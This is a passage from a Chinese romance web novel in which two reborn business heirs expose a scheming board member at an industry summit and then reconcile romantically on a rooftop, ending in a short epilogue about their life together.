只是,和刚才那种冰冷的尴尬不一样,多了点说不清道不明的东西。 沈野先回过神,垂下眼,手指在平板电脑上划拉了几下,声音恢复了一贯的冷静,甚至更冷了点:“…权限的问题,后续再详细讨论。” 凌曜也低下头,耳根有点泛红,声音也低了下去:“…嗯,我回头把联系方式发你。” 接下来的讨论,气氛变得更加古怪。 两人都刻意加快了语速,只谈最核心的细节,多余的一个字都没有。 终于,所有关键点沟通完毕。 凌曜率先站起身,动作有些匆忙地拿起搭在椅背上的大衣,低声道:“那…沈总,没别的事,我先走了。” 沈野坐在原位,没动,也没看他,只是“嗯”了一声。 凌曜转身朝门口走去,手刚搭上门把手。 就在这时,身后传来沈野的声音,依旧没什么温度,像是随口一问: “你感冒……还没好么?” 凌曜搭在门把手上的手,瞬间僵住了。 背影明显地顿在那里,好几秒没动。 他没想到沈野会问这个。 更没想到,他会用这种…听起来硬邦邦,却分明是在关心他身体的语气问。 一股强烈的酸涩猛地冲上鼻腔,凌曜用力眨了下眼,逼回那点不争气的湿意。 他没回头,只是从喉咙里含糊地挤出一声: “…快好了。” 门在身后轻轻合上。 沈野依然维持着原来的姿势坐在那里,看着对面空了的椅子,和那个依旧摆在桌面、已经凉透了的杯子,许久没有动。 第59章 凌云集团顶层董事长办公室。 全景落地窗外, 城市夜景璀璨。 秘书推开门,让凌曜走进时,凌优智正背对着他, 站在落地窗前。 听到脚步声,他缓缓转过身,脸上带着一丝难以掩饰的疲惫。 “回来了?” 凌优智的声音低沉,听不出太多情绪。 他走到巨大的办公桌后坐下, 示意凌曜坐在对面。 “爸。” 凌曜在父亲对面坐下,姿态恭敬。 凌优智没有绕圈子, 他拿起桌上的一份薄薄的文件夹,推到凌曜面前, 封面上印着机密字样。 “这个, 你看过了吧?” 凌曜目光扫过文件夹,点了点头:“看过了。” 他顿了顿, 补充道,“沈野那边, 也收到了类似的信息。” 凌优智端起酒杯, 轻轻晃了晃, 冰块撞击杯壁发出清脆的声响。 他叹了口气,带着一种属于他这个年纪和, 看透世事的苍凉和失望。 “老伍跟了我二十多年, 一起打拼, 经历过风浪。我没想到……为了这点利益, 他会走到这一步。” 他摇了摇头, 眼神复杂,“人心,果然是这世上最难测的东西。” 沉默片刻, 凌优智的目光重新聚焦在儿子身上:“倒是你,阿曜,这次的反应,让我有点意外。” 他身体微微前倾,指尖在桌面上点了点,“消息我比你知道得早。你没像以前那样冲动地直接去找伍申优对峙,也没来问我该怎么办。而是……不声不响地,把最关键的东西,直接递到了沈野手里。” 凌优智的眼神变得深邃,仿佛能看透人心:“是为了沈野那孩子吧?” 凌曜放在膝上的手微微收紧,迎上父亲的目光,没有回避,坦然承认:“是。” 意料之中的答案,却还是让凌优智沉默了片刻。 他靠回椅背,轻吟一口威士忌,看着自己这个从小锦衣玉食,看似骄纵的儿子。 “阿曜,”凌优智的声音放缓了些,带着属于父亲的担忧,“沈野那孩子,能力、品性,都没得说,是顶尖的。但是……” 他顿了顿,似乎在斟酌用词,“你们两个,这条路,太难走了。” “先不说外界会怎么看。光是你们自己,两个都那么强势的人,现在有情分撑着,怎么看都好。可以后呢?摩擦、分歧,甚至利益冲突,都是难免的。到时候,那份情分,还能不能经得起消磨?” 凌优智看着儿子年轻的脸庞,叹道:“爸不是要拦着你。你长大了,有自己的判断。我只是,不希望你将来受伤。” 见凌曜背脊打得笔直,脸上那沉静的模样,他摆了摆手。 “罢了,你自己的选择,自己负责。需要家里出面的时候,告诉我一声。” “爸,我知道。” 凌曜心里很冷静,“路是我选的,后果我自己承担。谢谢您。” 凌优智看着儿子眼中那份与年龄不符的决绝,最终只是挥了挥手:“去吧。集团这边,伍申优的事,我会处理干净。你……照顾好自己。” 凌曜站起身,向父亲微微颔首,转身离开了办公室。 厚重的实木门在身后轻轻合上,隔绝了内外。 凌曜走到空旷无人的走廊尽头,指尖微微嵌入掌心,带来细微的刺痛感。 爸,你不明白。 我不是在赌气。 我已经……彻彻底底地错过一世了。 那种眼睁睁失去、追悔莫及的滋味,一次就够了。 这一世,无论多难,无论要付出什么代价,我绝不会再放手。 也绝不会再错过他了—— 伍申优最近心情相当不错。 他安插在沈野公司内部的眼线传来消息,称沈野最近焦头烂额。 由于核心数据源被切断,沈野团队正疲于奔命,尝试各种办法,来勉强维持项目运转。 但效果不太好,团队内部怨声载道,士气低落,为此沈野还天天点甜品给他们吃,企图收买。 眼线甚至拍到了沈野深夜独自在办公室,对着屏幕揉按太阳穴的照片。 这在伍申优看来,是典型压力巨大的表现。 更让伍申优得意的是,他观察到凌曜近期的动向。 这位小太子爷似乎彻底放弃了在商业上,与他父亲或自己抗衡的念头,转而变得有些不务正业。 凌曜不再出席凌云集团的核心会议,反而开始频繁出入一些艺术拍卖行,顶级超跑俱乐部,甚至被拍到在私人海岛度假,一副沉溺于享乐、对集团事务撒手不管的纨绔模样。 伍申优看着这些消息,心中冷笑连连。 他之所以处心积虑地针对沈野、打压凌曜,根源在于赤裸裸的野心。 凌曜作为凌家独子,进入集团是迟早的事。 但他伍申优在凌云经营多年,树大根深,早已将集团视为自己的囊中之物。 岂容一个毛头小子轻易染指,甚至眼睁睁看着他,未来骑到自己头上? 凌曜负责的这个与沈野合作的项目,意义非同一般。 这不仅是凌曜在集团内独立主导的第一个大型项目,更是一个前景广阔的战略性项目。 一旦这个项目成功,将为凌曜带来巨大的声望和毋庸置疑的业绩,成为他日后接管集团最有力的护身符。 这是伍申优绝对无法容忍的。 他必须在这个项目萌芽阶段、在凌曜羽翼未丰之时,就将其彻底扼杀在摇篮里。 等项目失败,首要责任自然会落到凌曜身上。 这足以证明他经验不足,不堪大任,从而削弱他在集团内部的地位,为伍申优日后继续压制他,找到绝佳借口。 就像他想的一样,这个小子果然受不得挫败,稍遇风雨就原形毕露,躲回他的花花世界里去了。 “果然是个扶不起的阿斗。” 伍申优摇摇头,更觉自己胜券在握。 几日后,一通加密电话打进了伍申优办公室。 他接过电话,听了几句,嘴角勾起一丝不易察觉的笑意。 心腹刚刚汇报,凌曜,据可靠消息,今早已飞往南太平洋的私人岛屿,继续他的假期。 一切都在按计划进行。 他起身走到酒柜前,给自己倒了一杯昂贵的红酒。 琥珀色的液体在杯中晃动,映出他志得意满的脸。 他精心布局的一切都运行顺畅,最重要的是,最后一笔关键款项即将完成转移。 是时候了。 在下周的行业峰会上,他会以凌云国际董事的身份,公开敲打凌曜。 他要逼凌优智在众目睽睽之下做出选择。 “年轻人,总得经历些挫折才能长大。” 他轻抿一口酒,感受一股回甘在口腔缱绻荡漾—— 南太平洋某私人岛屿,碧海银沙,阳光炽烈。 这座岛是凌曜十八岁时收到的成年礼,如今成了他绝佳的避世场所。 午后,凌曜只穿着一条沙滩裤,懒洋洋地躺在无边泳池旁的躺椅上。 他戴着墨镜,手边冰镇果汁里的冰块叮当作响。 微风徐徐,很是舒服, 凌曜晒了会太阳,过了一会,拿起一旁的平板电脑,刷了会财经新闻。 他眼角余光敏锐地捕捉到不远处,一个穿着侍应生制服的身影,正借着整理毛巾的机会,状似无意地将视线投向自己这边。 凌曜的嘴角勾起一抹嘲讽的弧度,随即被墨镜完美遮掩。 他故意将平板屏幕侧了侧,让关于沈野公司近期困境的□□更加显眼,然后发出了一声不耐的咂舌声。 做完这一切,他摘下墨镜,略显烦躁地揉了揉眉心,仰头将杯中果汁一饮而尽,活脱脱一个因事业受挫而心烦意乱,借度假逃避现实的纨绔子弟。 做完这套戏码,他懒洋洋地起身,将空杯随手放在托盘上。 看也没看那个侍应生,趿拉着人字拖,慢悠悠地朝主卧别墅走去。 那个侍应生见他走了,傻愣愣地没想多演会,也立马跟着离开了。 伍申优这个老狐狸,手伸得可真长,连这里都安插了眼睛。 凌曜心下冷笑。 回到隔音绝佳的主卧,凌曜脸上的慵懒和烦躁瞬间消失无踪。 他走到落地窗前,看着窗外壮丽的海景,眼神沉静。 片刻后,他拿起那个经过特殊加密的卫星电话,几乎没有犹豫,熟练地拨通了一个号码。 视频请求几乎是被秒接的。 屏幕亮起,映出沈野那张俊逸得过分的脸。 他似乎正在办公室。 “有事?” 沈野的声音透过听筒传来。 凌曜没立刻谈正事,他调整了一下姿势,让自己半靠在沙发上。 浴袍的领口有些松散,露出小片锁骨的线条,背景是奢华的海景套房。 有点性感。 他微微挑眉,语气带着点漫不经心的调侃:“沈总,忙什么呢?不会又在看那些新闻报道吧?” 沈野的目光在凌曜松散的领口上停留了半秒,随即移开,落在电脑屏幕上,没接他的调侃:“说正事。” 凌曜见好就收,脸上的玩笑神色收敛了些:“放心,钥匙准备好了,随时可以启动。” 他顿了顿,“伍申优那边,资金流动的最终指向已经清晰,和我们的猜测完全吻合。他应该在为峰会后的动作做最后准备。” “嗯。” 沈野应了一声,手指在键盘上快速敲击了几下,似乎在记录什么,“新闻发布会的时间和流程已经敲定,媒体也安排好了。” “那就好。” “沈总……” 凌曜故意拖长了尾音,眼睫微垂,再抬起时,眼底漾着一点狡黠又直白的光,“等这事了了,我回去,你可不能随便拿杯咖啡就把我打发了。” 他身体微微前倾,浴袍领口随之松垮了些,锁骨的线条在镜头下清晰可见,语气里的暗示几乎不加掩饰:“我得好好想想,让你怎么谢我才够本。” 这话直白得近乎挑衅,是明晃晃的攻城略地。 屏幕那端,沈野敲击键盘的手指骤然停住,悬在半空。 “随你。”沈野这才抬眼,目光透过屏幕看过来,深邃又直接,“只要你吃得下。” 通话结束。凌曜放下电话,摩挲着微热的屏幕,嘴角咧开一个大大的笑容。 妈的,被反撩了? 还挺带劲。 而城市另一端,沈野结束通话后,向后靠在椅背上。 办公室里很安静,他看着窗外璀璨的夜景,刚才那点针锋相对的快意悄然褪去。 他闭上眼,指节抵住眉心。 一种清晰而熟悉的情绪,悄然漫上心头。 他发现,自己早已开始习惯,甚至有些想念,那个家伙在身边吵吵嚷嚷,鲜活明烈的样子了。 良久,一声几不可闻的叹息逸出唇边,融在夜色里。 “……是有点太安静了。” 沈野低语道,像是对自己承认了什么。 第60章 行业峰会, 如期在市中心最高规格的国际会议中心举行。 可容纳千人的主会场座无虚席,业界精英、财经媒体汇聚一堂。 伍申优作为凌云国际的元老级董事,被安排在重量级嘉宾发言环节。 当他沉稳的步伐踏上演讲台时, 台下瞬间亮起一片密集的镁光灯,咔嚓声不绝于耳,将他笼罩在耀眼的光晕之中。 伍申优今天身着一身剪裁极其考究的定制西装,脸上带着数十年商海沉浮历练出的权威。 仅仅是站在那里, 无需多言,便已昭示其举足轻重的地位。 他首先从容不迫地回顾了凌云国际近年的辉煌业绩, 语调平和,数据信手拈来, 言语间, 是对集团战略方向的充分肯定,俨然一位为集团发展殚精竭虑的肱骨之臣。 台下不少与凌云有深度合作的伙伴频频点头, 媒体记者则飞速记录着。 嘉宾席前排,沈野安静地坐在自己的位置上。 与其他嘉宾或专注倾听或若有所思不同, 他的目光平静地落在演讲台上, 眼神淡然, 像在观察一场与己无关的演出。 偶尔有镁光灯扫过他冷峻的侧脸,他也只是几不可查地微微调整了下坐姿, 没有任何多余的表情, 仿佛台上那位大人物的每一句铺垫, 都早已在他的预料之中。 然而, 话锋很快开始微妙地转向。 “……当然, 在高速发展的过程中,我们也难免会遇到一些新的挑战。” 伍申优语调平和,目光缓缓扫过台下, “例如,近期在部分新兴业务上,出现了一些……问题。” 他并未点名道姓,但结合最近圈子里的风声,对于在场这些嗅觉比猎犬还灵的老江湖来说,简直跟直接报身份证号没区别。 这分明就是冲着最近风头正劲、主导新业务,又和沈野绑在一块儿的凌曜去的。 台下响起一阵压抑的骚动,相机快门声变得密集起来。 所有人的目光若有若无地飘向嘉宾席上凌云集团的区域。 伍申优将众人的反应尽收眼底,嘴角掠过一丝得意,继续以一副忧心忡忡的元老口吻,阐述着稳健经营的重要性。 接下来的对话环节,才是真正的重头戏。 会场内的气氛,在看似平稳的问答下,暗流汹涌。 所有人都感觉到,有什么东西正在积聚,只等一个突破口。 突然,一位以提问犀利著称的财经记者拿到了话筒。 他看向沈野,直击核心:“沈总,请问您如何回应近期关于贵公司项目濒临停摆的传闻?这是否意味着您与凌云国际的合作,出现了根本性的问题?” 话音落下的瞬间,全场陷入死寂! 所有镜头与目光,如同被磁石吸引般,齐刷刷聚焦于嘉宾席前排的沈野身上。 空气仿佛凝固。 发言席主位上,伍申优的嘴角勾起一丝预料之中的弧度,身体微微后仰,摆出静观其变,甚至略带怜悯的姿态。 他等待着沈野的落败。 然而,沈野的反应出乎所有人的意料。 面对这突如其来的发难,他未见丝毫慌乱,甚至并未急于开口。 只是从容不迫地站起身,修长的手指轻理了一下西装衣领,随即步履沉稳地走向发布台。 他的目光平静地扫过全场,在经过凌曜所在的方向时,有极为短暂的停留。 “感谢这位记者的提问。关于我司数据链的传闻,并非空穴来风。” 此言一出,台下顿时一片哗然! 连伍申优也难掩错愕,他压根就没有想到,沈野竟会直接承认。 沈野并未理会现场的骚动,只是抬手虚按,示意安静,继续说道:“但传闻仅说对了一半。数据链确实曾遭受恶意攻击而被切断。然而,这并非意外,而是一场经过周密策划、专门针对我司与凌云国际的恶意狙击!” 他话锋一转,目光如炬,直射向脸色开始微变的伍申优:“而策划并执行这一切的幕后主使,并非外人,正是凌云国际的董事——伍申优先生!” “哗——!” “这是怎么回事???” “伍董不也是凌云国际的吗!?” 全场哗然! 记者镜头疯狂地对准了伍申优,闪烁的镁光灯将他脸上每一丝细微的变化,都暴露无遗。 然而,伍申优的反应,却出乎意料的平静,甚至带着几分惋惜。 他没有立刻起身,而是缓缓抬手,向下压了压,示意现场安静。 这个动作带着一种久居上位的从容。 伍申优脸上甚至浮现出一丝无奈而宽容的笑意,目光落在沈野身上,语气温和,仿佛在规劝一个走入歧途的年轻人: “沈贤侄,” 他用了更显亲近的称呼,“我理解你。项目受阻,压力巨大,年轻人急于找出原因,甚至迁怒于人,这都是可以理解的。” 伍申优微微摇头,语重心长,“但商业竞争,要讲证据,更要讲底线。凭空臆测,甚至公开诽谤,这不仅会损害你个人的声誉,更会破坏我们两家集团多年来良好的合作关系啊。” 这番以退为进、占据道德高地的表演,堪称完美,瞬间将沈野置于了“冲动冒失”、“不负责任”的境地。 沈野面对这番表演,嘴角只是勾起一抹极淡的、带着讽刺的弧度。 他拿起一个加密U盘,从容地连接到发布台电脑。 动作不疾不徐,带着一种对真相的绝对自信。 “伍董事的教诲,我记下了。” 沈野的声音透过麦克风传来,冷静得没有一丝波澜,“所以,证据,就在这里。” 大屏幕上,开始一页页展示清晰的邮件截图、隐秘的资金流水图,一条条证据链,如同冰冷的手术刀,精准地剖开了伍申优精心伪装的表皮。 他通过海外空壳公司非法转移资金,指使人切断数据链的行径,暴露在光天化日之下! 台下再次一片哗然,这次的声浪中充满了震惊和难以置信! 伍申优脸上的宽容笑意瞬间凝固了。 他的瞳孔微微收缩,放在桌上的手指下意识地蜷紧,指节泛白。 但他数十年的修为让他勉强维持住了镇定。 伍申优深吸一口气,声音提高了八度,带着被污蔑的愤慨: “荒谬!这简直是天方夜谭!” 他伸手指向屏幕,“伪造!这些都是伪造的!现在的技术,合成几张图片、编造几条记录,不是什么难事!沈野,你为了推卸项目失败的责任,竟然用如此卑劣的手段!” 就在这时,凌曜站了起来。 他径直走到发布台前,与沈野并肩而立。 凌曜面向众人:“既然伍董事对证据的真实性存疑,那么,我们不妨做一个最直接的验证。” 他没有再多言,拿出自己的平板电脑,快速操作了几下,随即将其屏幕内容,投映到发布会现场巨大的主屏幕上。 屏幕上清晰地显示出一个极其简洁的界面。 那是凌云国际最高级别的权限验证窗口。 窗口中央,只有一个不断跳动的六位数字代码,以及一个输入框。 “各位请看,” 凌曜的声音清晰传遍会场,“这是凌云国际核心财务系统的验证界面。眼前这个不断变化的六位数密码,由系统每秒自动生成,只有最高权限者才能实时获取。” 他目光转向脸色已经开始发白的伍申优: “伍董事,您一再声称沈总提供的证据是伪造,声称您与那个海外账户毫无关系。那么,现在最简单、最直接的方式就是——请您当场输入屏幕上此刻正在跳动的这个密码。只要密码正确,系统自然会证明您的清白。如果您不方便,也可以指定任何您绝对信任的人来输入。” 这番话如同一声惊雷,在现场炸开! 所有人都明白了,如果验证通过,那就证明,这个海外账户和伍申优有直接关系,甚至可能就是本人的! 伍申优僵在原地,脸上的血色瞬间褪尽。 他死死盯着屏幕上那串数字,嘴唇哆嗦着,却一个字也说不出来。 全场死寂,所有人的目光都聚焦在伍申优身上,等待着他的回应。 时间一秒一秒地过去,伍申优的沉默和惨白的脸色,已经是最好的答案。 他不敢输入。 凌曜没有再等待。在所有人的注视下,他抬起手,指尖在平板电脑上流畅输入了当前屏幕上显示的那串数字。 回车! 验证进度条瞬间充满。 叮——! 一声清脆悦耳的提示音响起,屏幕上赫然弹出绿色的大字: 【权限验证成功!账户最高权限持有人:伍申优。】 铁证如山! 伍申优像是被抽走了所有力气,猛地向后踉跄一步,撞在椅背上,脸上血色尽褪,只剩下死灰般的绝望。 他张了张嘴,最终却什么也没能说出来。 那精心维持了几十年的儒雅面具,在这一刻,彻底碎裂,露出了下面不堪的真容。 伍申优被安保人员带离会场,现场顿时陷入一片哗然。 记者们争先恐后地涌上前,试图捕捉这戏剧性的一幕,快门声与追问声交织成一片。 工作人员竭力维持秩序,但空气中弥漫的震惊与骚动,久久难以平息。 在这片喧嚣之中,凌曜的目光冷冷掠过伍申优离去的方向,随即收回,看向沈野。 沈野向前迈出一步,重新立于话筒前。 他抬手,掌心向下轻轻一压,一股无形的威压随之弥散,骚动的会场竟渐渐安静下来。 所有镜头再度聚焦于他,屏息以待。 “请各位稍安勿躁。” 他的声音透过音响传来,沉稳而有力,瞬间掌控了全场节奏,“真相已然大白,法律自会给予公正的裁决。此刻,我更愿借此机会,澄清一些事实,并表达一份感谢。” 他目光扫过全场,最终定格在凌曜身上。 重新描摹凌曜的脸,竟很是感慨。 “过去这段时间,我们共同经历的,远不止一场商业风波。” 他顿了顿,仿佛在斟酌最准确的词句,“它关乎背叛,也关乎坚守;关乎猜忌,更关乎……信任。” “在整个过程中,面对重重误解、巨大压力乃至不实的中伤,有一个人,始终展现了超越年龄与身份的卓绝判断,和不可动摇的原则立场。尤其重要的是,他给予了我……以及我们共同的事业,一份毫无保留的、极其珍贵的信任。” 会场异常安静,只有沈野的声音在回荡,所有人都能感受到这番话很真诚,分量远超普通的商业互捧。 “正是这份深明大义,这份在关键时刻毫不犹豫的鼎力支持,” “才让真相得以冲破迷雾,让正义得以伸张。” 他微微向前倾身,目光灼灼,仿佛要将接下来的话语烙印在每个人心里:“凌曜先生,他不仅是一位具备非凡魄力与远见的、值得托付的合作伙伴,” 他特意放缓了语速,一字一句道,“他更是一个……一旦认定了方向,就会用尽全力去守护承诺的人。能与他并肩,是我的荣幸。” 这番话,如同一块巨石投入平静的湖面。 它公开为凌曜正了名,洗刷了所有质疑;但更深一层,那字里行间流露出的欣赏、信赖乃至超越商业关系的珍视,在明眼人听来,已近乎一种含蓄,郑重的告白。 凌曜站在原地,清晰地听到了每一个字。 他望着台上那个一向冷静自持的男人,此刻却用这样一种方式,在全世界面前肯定他、维护他,甚至……表达着某种难以言喻的情感。 他的心像是被什么东西猛地撞了一下,一股滚烫的热流从心底涌起,迅速冲向了四肢百骸。 凌曜的唇角缓缓勾起一抹极深的笑意,尔后,迎着沈野的视线,深深地点了点头。 胜过千言万语。 而在会场二楼一处视野极佳的廊台阴影里,凌云集团的董事长凌优智,凭栏而立,将台下惊心动魄的过程尽收眼底。 他脸上没什么表情,但眼里却闪过一丝复杂的情绪。 他看着儿子凌曜,那个以前总觉得长不大、只知道玩的孩子,现在居然能这么沉稳,有担当。 再看看沈野,当着这么多人的面,毫不含糊地肯定凌曜,替他撑腰。 凌优智心里最后那点犹豫,这下彻底没了。 他微微点了点头。 行了,这事就这么定了。 以后集团的事,是时候多放手让年轻人去干了。《 》 第61章【正文完】 第61章 【正文完】 公司的庆功宴, 设在最顶层的旋转餐厅。 香槟塔闪着光,音乐声、笑声、碰杯声混在一起,热闹得有点不真实。 项目危机解决了, 对头伍申优也栽了,跟凌云国际的合作更是铁板钉钉会顺利推进,所有人都围着沈野,说着恭喜的话。 沈野脸上带着得体的笑, 该举杯举杯,该寒暄寒暄, 应付得滴水不漏。 可只有他自己知道,脑子里那根弦一直绷着, 累。 不是身体上的累, 是心里那点事,还没落地。 重活一世, 他步步为营,总算避开了前世的陷阱, 将公司带出了泥潭, 甚至比上辈子站得更高。 可站在这灯火辉煌的顶点, 听着周围的恭维,他偶尔会有一瞬间的恍惚——如果只是这样, 那这重来一次的意义, 似乎……还缺了点什么。 那个最该理顺, 却也是最乱麻一团的心结, 依然梗在那里。 趁着一波人刚散开的空档, 他侧身对旁边的秘书低声说了句“我出去透口气”,便不着痕迹地从人群里抽身,推开侧门, 走上了通往最上面露天观景台的楼梯。 门一关,下面的喧闹瞬间被隔开,世界一下子安静了。 楼梯间灯光有点暗,就他一个人的脚步声。 几步迈上去,推开沉重的防火门,夏夜带着凉意的风“呼”地一下吹过来,把他身上那点烟酒气卷走了大半,脑子也清醒了不少。 观景台空旷无人。他走到栏杆边,手搭在冰凉的金属上,往下看。 脚底下是整个城市,灯火通明,车流像发光的河。 热闹是它们的,他这儿只有风声。 领带扯松了,最上面的扣子也解开了,他长长舒了口气。 事是办完了,路也铺平了,可心里头那个最大的疙瘩,还堵在那儿。 前世今生,两辈子的纠葛,岂是简单一句“恩怨两清”就能揭过的? 更何况,这一世的凌曜,用那种近乎笨拙又固执的方式,硬生生在他冰封的心墙上,凿开了一道缝。 关于凌曜。 关于那些没说开的话。 关于以后。 他摸出烟盒,磕出一根烟叼在嘴上,却没点。 只是那么等着。 他知道,有人会来。 轻微的脚步声自身后响起。 沈野没有回头。 凌曜在他身边站定,同样沉默地望向远处的灯火。 他也没有像往常那样立刻开口,只是安静地陪着。 晚风吹起他额前几缕碎发,侧脸在远处霓虹的映照下,那张漂亮到近乎妖冶的脸上,少了几分平日的张扬,多了些沉静的轮廓。 两人就这样并肩站着,沉默了许久。 楼下的欢庆声隐约传来,更衬得这片天地格外安静。 终于,凌曜先开了口,声音在夜风中显得有些低。 没有了往日插科打诨的腔调,他道:“沈野。” 沈野“嗯”了一声,算是回应,依旧看着前方。 凌曜转过头,目光灼灼地看向沈野的侧脸,像是下定了决心,一字一句,清晰地说道:“有件事,我必须跟你说清楚。” 沈野终于侧过头,迎上他的目光,眼神平静,示意他在听。 “我承认,”凌曜深吸一口气,像是要掀开最重要的底牌,“最开始……重生回来的时候,我脑子里一团乱。我想的是补偿你,远远地看着你好就行,甚至……有点怕再见你,怕你恨我。” 他的语气带着回忆的艰涩,“可是我做不到。” “上辈子,我从头到尾,喜欢的就只有你一个。可我那时候被宠坏了,太自以为是了。我觉得你就该围着我转,你不愿意陪我出国,没像我想的那样第一时间追着我去哄我,我就不高兴,跟你闹,觉得你根本没那么在乎我。” 凌曜的嘴角扯出一抹苦涩的弧度:“我甚至幼稚地觉得,你要是真对我好,就该放下一切跟我走,或者至少……求着我别走。我根本没想过,你也有你的路要走,你也需要成长。后来看到你真的越走越好,越来越独立,我反而更慌了,怕你不再需要我了……结果,我就被人利用了,做了最错的事……” 他的声音低了下去,带着深深的悔恨:“所以这辈子,我什么都顾不上了,也等不及在国外过生日,我必须回来。” 凌曜向前迈了一小步,拉近了两人之间的距离,目光紧紧盯着沈野,仿佛要看清他眼底最细微的情绪波动,问出了那个盘旋在他心头太久、几乎让他窒息的问题: “你……还要不要我?” 话音落下,空气仿佛再次凝固。 只有夜风拂过的声音。凌曜的心脏在胸腔里狂跳,几乎要撞出来。 他屏住呼吸,等待着最终的宣判。 他看到沈野的眉头几不可查地蹙了一下,眼底情绪翻涌,复杂得让他心慌。 良久,沈野几不可闻地叹了口气,那叹息里带着无尽的疲惫,和难以言喻的复杂情绪。 他移开目光,重新望向脚下的城市,声音低沉地开口: “凌曜,你真是我最大的麻烦。” 这句话像是一盆冰水,瞬间浇灭了凌曜眼中最后的光亮。 他睫毛猛地一颤,眼底的光以肉眼可见的速度黯淡下去,嘴角勉强扯出的那点弧度也僵住了。 果然…… 还是不行吗? 巨大的失落和酸楚瞬间淹没了他,他几乎要下意识地向后退开。 就在他心灰意冷,准备接受这预料之中的结局时—— 沈野却忽然笑了一声。 又是那带着宠溺,认命和无奈的声音。 “……但我好像,已经习惯这个麻烦了。” 轰的一声,凌曜只觉得全身的血液都冲上了头顶,耳边嗡嗡作响。 他猛地抬起头,难以置信地看向近在咫尺的那张脸,想从对方眼中找到一丝玩笑或勉强的痕迹。 可他只看到了一双深邃如夜海的眸子,里面是淡淡的笑意。 这一刻,所有的忐忑、不安、愧疚、狂喜,如同决堤的洪水,汹涌而出。 凌曜的眼睛瞬间就红了,他张了张嘴,想说什么,喉咙却像是被什么东西死死堵住,发不出任何声音。 他只能伸出双臂,紧紧地、用力地回抱住沈野,将脸深深埋进对方的颈窝,肩膀微微颤抖起来。 沈野感受着怀里人细微的颤抖和滚烫的体温,身体先是僵硬了一瞬,随即缓缓放松下来。 他抬起手,有些生疏地、一下一下,轻轻拍着凌曜的后背。 晚风依旧轻柔,城市的霓虹无声闪烁。 天台上,两个身影紧紧相拥,跨越了生死、误解与漫长时光的隔阂,终于在此刻找到了彼此的归处。 过了许久,凌曜闷闷的声音才从沈野颈间传来,带着浓重的鼻音:“……说话算数。” “嗯。”沈野应了一声,顿了顿,又低声道,“别把鼻涕蹭我衬衫上。” 凌曜愣了一下,随即低低地笑了起来,肩膀抖得更厉害了,抱得更紧。 他仰头看着沈野,刚才那点泪意还没干透,嘴角就控制不住地翘了起来,带着他特有的、得寸进尺的骄纵,追问道:“那……我们现在,到底算什么关系?” 他需要沈野亲口说出来,需要一个确凿的、可以让他名正言顺嚣张起来的凭证。 沈野低头看着他。 月光下,凌曜的眼睛亮得惊人,带着点湿漉漉的水汽,又满是毫不掩饰的期待和狡黠。 沈野没有立刻回答,他只是静静地看了他几秒,仿佛要将眼前这个人刻进骨子里。 然后,他俯下身,用一个温柔而坚定的吻,封住了那张喋喋不休、总要讨个说法的嘴。 这个吻带着珍视,是绵长的温柔。 凌曜先是一愣,随即闭上了眼,长长的睫毛轻颤着,伸手环住了沈野的脖子,热烈而笨拙地回应。 晚风温柔地拂过相拥的两人,楼下的车水马龙都成了遥远的背景音。 楼下,宴会厅外的露台。 孙潇桡端着酒杯,眼尖地瞥见楼上观景台相拥的身影,激动地一把拉住旁边的江乐君:“快看!楼上!我就说!今晚肯定得和好!这俩人折腾这么久,总算憋不住了!” 江乐君顺着他指的方向眯眼看了看,虽然看不清细节,但那重叠的身影足够说明一切。 他嗤笑一声,晃着酒杯:“和好是必然的。啧,我赌一顿米其林三星,就凌曜那小子,现在肯定又哭了,感动的。” 肖展颜正好端着点心盘路过,闻言也凑过来,笑着插话:“我赌两顿,曜曜现在是哭了,但绝对是喜极而泣,感动的。你没看沈野刚才在台上那架势,跟公开表白似的,换谁谁不迷糊?” 三人相视一笑,心照不宣地举杯碰了一下,为这对折腾了这么久终于修成正果的朋友感到高兴。 天台上,一吻结束。 凌曜气息有些不稳,脸颊泛着红晕,眼睛湿漉漉地瞪着沈野,语气带着藏不住的得意和撒娇:“你……你这算默认了?” 沈野看着他这副样子,眼底闪过一丝极淡的笑意,抬手,用指腹轻轻擦过他微湿的眼角,声音低沉:“你说呢?” “那我可当真了!” 凌曜立刻顺杆爬,紧紧抱住他的腰,把脸埋在他胸口,闷声说:“以后你就是我的人了,哥哥。不准反悔!” “嗯。”沈野应了一声,手臂收拢。 夜风吹过,怀里的温度真实而熨帖,让他一直紧绷的某根弦,彻底松弛了下来。 这个麻烦,他认了,也……要定了。 数月后,新的格局已然形成。 凌云集团在凌曜的执掌下,进行了一系列大刀阔斧的改革,注入了更多创新与活力,真正焕发了新生。 与沈野的公司达成了前所未有的深度战略合作,双方技术、资源完美互补,成为了行业内无可撼动的黄金组合。 凌优智在风波彻底平息后,将集团大权完全交给了儿子,自己则安心休养。 或许是卸下了重担,他的身体竟一日好过一日。在一个阳光明媚的早晨,他和相伴多年的妻子阮笛,拒绝了所有的送行,只带着简单的行李,开始了筹划已久的环游世界之旅,美其名曰“补上迟到的蜜月”,享受他们的第二春。 机场送别时,凌优智拍了拍儿子的肩膀,只说了句“好好干”,又看向沈野,目光复杂却最终化为释然,点了点头。 一切尽在不言中。 沈野和凌曜的故事,后来成了圈子里流传的经典段子。 谈生意的时候,他俩是出了名的难搞。 沈野话不多,但每句都砸在点子上;凌曜则是出了名的路子野,经常不按常理出牌。 两人一个稳扎稳打,一个剑走偏锋,配合起来能把对手绕得晕头转向。 有人私下叫他俩“黑白双煞”,凌曜听说后还炸毛,他喵的,听起来太不吉利了! 不过说归说,大家心里都清楚,这俩人拆不开。 私下里,凌曜还是那副少爷脾气,爱玩爱闹,但在沈野跟前明显收敛了不少。 有时候被拍到两人一起出门,基本都是凌曜在旁边眉飞色舞地讲,沈野就安静听着,偶尔嘴角会弯一下。 要是赶上凌曜犯懒不肯吃饭,沈野一个眼神扫过去,再闹腾的凌少爷也得老老实实跟着去餐厅。 最搞笑的一次是某个晚宴,有人看见凌曜偷偷摸摸,往沈野的红酒杯里兑葡萄汁,被沈野当场抓包。 凌曜不但不心虚,还笑嘻嘻地凑过去不知道说了句什么,把一向冷脸的沈野都给气笑了。 照片流出来,圈里朋友纷纷无语,很想把这俩屏蔽了。 某个周末傍晚,他们位于顶层的公寓里。 夕阳的余晖透过巨大的落地窗洒进来,给室内镀上一层温暖的金色。 凌曜赤着脚,窝在沙发里,头枕在沈野的腿上,抱着平板电脑刷财经新闻,脚丫子有一搭没一搭地晃着。 沈野则靠在沙发背上,拿着份纸质报告在看。 “哎,”凌曜忽然用后脑勺蹭了蹭沈野的腿,“下周那个并购案,让我去谈呗?这次我保证不跟人拍桌子。” 